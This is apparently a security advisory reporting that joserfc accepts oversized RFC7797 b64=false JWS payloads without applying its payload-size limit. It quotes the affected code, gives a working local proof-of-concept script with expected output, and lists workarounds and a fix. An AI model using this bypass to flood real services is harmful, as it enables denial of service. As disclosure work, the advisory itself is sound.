RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization

Summary

Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length.

The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length.

This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.

Affected Product

• Package: joserfc
• Ecosystem: pip
• Audited release: 1.6.5
• Audit tag: 1.6.5
• Audit commit: 881712980934fb601bed26fe3ae1ec0b7780e6f7
• Tested affected releases: 1.3.4, 1.3.5, 1.4.2, 1.6.2, 1.6.3, 1.6.4, 1.6.5
• Fixed release: none known

Vulnerability Details

In joserfc 1.6.5, the default JWS registry has max_payload_length = 128000 and exposes validate_payload_size().

The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:

if is_rfc7797_enabled(protected):
    if not payload_segment and payload:
        payload_segment = to_bytes(payload)
    payload = payload_segment

The flattened JSON RFC7797 path has the same pattern:

payload_segment = value["payload"].encode("utf-8")
if is_rfc7797_enabled(member.headers()):
    payload = payload_segment

Neither branch calls registry.validate_payload_size(payload_segment) before accepting the unencoded payload.

Reproduction

The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.

Requirements:

python -m pip install "joserfc==1.6.5"

Run:

python joserfc_rfc7797_size_bypass_poc.py

Self-contained proof script:

#!/usr/bin/env python3
import json

import joserfc
from joserfc import jws
from joserfc.jwk import OctKey


def check_compact(name, header, payload, key):
    token = jws.serialize_compact(header, payload, key)
    try:
        obj = jws.deserialize_compact(token, key)
        return {
            "case": name,
            "accepted": True,
            "exception": None,
            "payload_len_after_deserialize": len(obj.payload),
        }
    except Exception as exc:
        return {
            "case": name,
            "accepted": False,
            "exception": type(exc).__name__,
            "error": str(exc),
        }


def check_json(name, protected, payload, key):
    data = jws.serialize_json({"protected": protected}, payload, key)
    try:
        obj = jws.deserialize_json(data, key)
        return {
            "case": name,
            "accepted": True,
            "exception": None,
            "payload_len_after_deserialize": len(obj.payload),
        }
    except Exception as exc:
        return {
            "case": name,
            "accepted": False,
            "exception": type(exc).__name__,
            "error": str(exc),
        }


key = OctKey.import_key("secret-secret-secret")
limit = jws.default_registry.max_payload_length
payload = "A" * (limit + 1)

results = {
    "joserfc_version": joserfc.__version__,
    "default_max_payload_length": limit,
    "payload_len": len(payload),
    "compact": [
        check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),
        check_compact(
            "rfc7797_b64_false",
            {"alg": "HS256", "b64": False, "crit": ["b64"]},
            payload,
            key,
        ),
    ],
    "json": [
        check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),
        check_json(
            "rfc7797_b64_false_json",
            {"alg": "HS256", "b64": False, "crit": ["b64"]},
            payload,
            key,
        ),
    ],
}
print(json.dumps(results, indent=2, sort_keys=True))

Expected output on 1.6.5 includes:

{
  "default_max_payload_length": 128000,
  "payload_len": 128001,
  "compact": [
    {
      "case": "normal_b64_true",
      "accepted": false,
      "exception": "ExceededSizeError"
    },
    {
      "case": "rfc7797_b64_false",
      "accepted": true,
      "exception": null,
      "payload_len_after_deserialize": 128001
    }
  ],
  "json": [
    {
      "case": "normal_b64_true_json",
      "accepted": false,
      "exception": "ExceededSizeError"
    },
    {
      "case": "rfc7797_b64_false_json",
      "accepted": true,
      "exception": null,
      "payload_len_after_deserialize": 128001
    }
  ]
}

Version Checks

I reproduced the same differential behavior on these releases:

| Version | Normal JWS over limit | RFC7797 b64=false over limit | | --- | --- | --- | | 1.3.4 | ExceededSizeError | accepted | | 1.3.5 | ExceededSizeError | accepted | | 1.4.2 | ExceededSizeError | accepted | | 1.6.2 | ExceededSizeError | accepted | | 1.6.3 | ExceededSizeError | accepted | | 1.6.4 | ExceededSizeError | accepted | | 1.6.5 | ExceededSizeError | accepted |

The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.

Relationship to Existing Advisories

I found two related public advisories for joserfc, but neither appears to cover this root cause.

GHSA-frfh-8v73-gjg4 / CVE-2025-65015 describes oversized token parts being included in ExceededSizeError messages in older release ranges. The issue described here reproduces in 1.6.5 and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising ExceededSizeError.

GHSA-w5r5-m38g-f9f9 / CVE-2026-27932 describes unbounded PBES2 p2c iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.

Workarounds

Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to joserfc, disabling or disallowing RFC7797 b64=false tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.

Suggested Remediation

Apply registry.validate_payload_size(payload_segment) to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the payload argument should be checked in the same way.